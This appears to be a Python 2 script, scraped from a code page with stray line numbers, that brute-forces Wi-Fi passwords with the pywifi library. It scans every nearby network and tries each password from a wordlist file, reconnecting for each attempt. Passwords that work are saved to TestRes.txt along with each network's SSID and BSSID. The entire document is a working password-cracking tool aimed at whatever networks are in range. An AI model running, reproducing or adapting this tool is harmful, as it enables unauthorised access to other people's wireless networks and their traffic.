1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
|
import time import sys from pywifi import *
def scans(face,timeout): face.scan() time.sleep(timeout) return face.scan_results()
def test(i,face,x,key,stu,ts): showID = x.bssid if len(x.ssid)>len(x.bssid) else x.ssid for n,k in enumerate(key): x.key = k.strip() face.remove_all_network_profiles() face.connect(face.add_network_profile(x)) code = 10 t1 = time.time() while code!=0 : time.sleep(0.1) code = face.status() now = time.time()-t1 if now>ts: break stu.write("\r%-*s| %-*s| %s |%*.2fs| %-*s | %-*s %*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("\n",""))) stu.flush() if code == 4: face.disconnect() return "%-*s| %s | %*s |%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k) return False
def main(): scantimes = 3 testtimes = 15 output = sys.stdout files = "TestRes.txt" keys = open(sys.argv[1],"r").readlines() print "|KEYS %s"%(len(keys)) wifi = PyWiFi() iface = wifi.interfaces()[0] scanres = scans(iface,scantimes) nums = len(scanres) print "|SCAN GET %s"%(nums) print "%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70) for i,x in enumerate(scanres): res = test(nums-i,iface,x,keys,output,testtimes) if res: open(files,"a").write(res)
if __name__ == '__main__': main()
|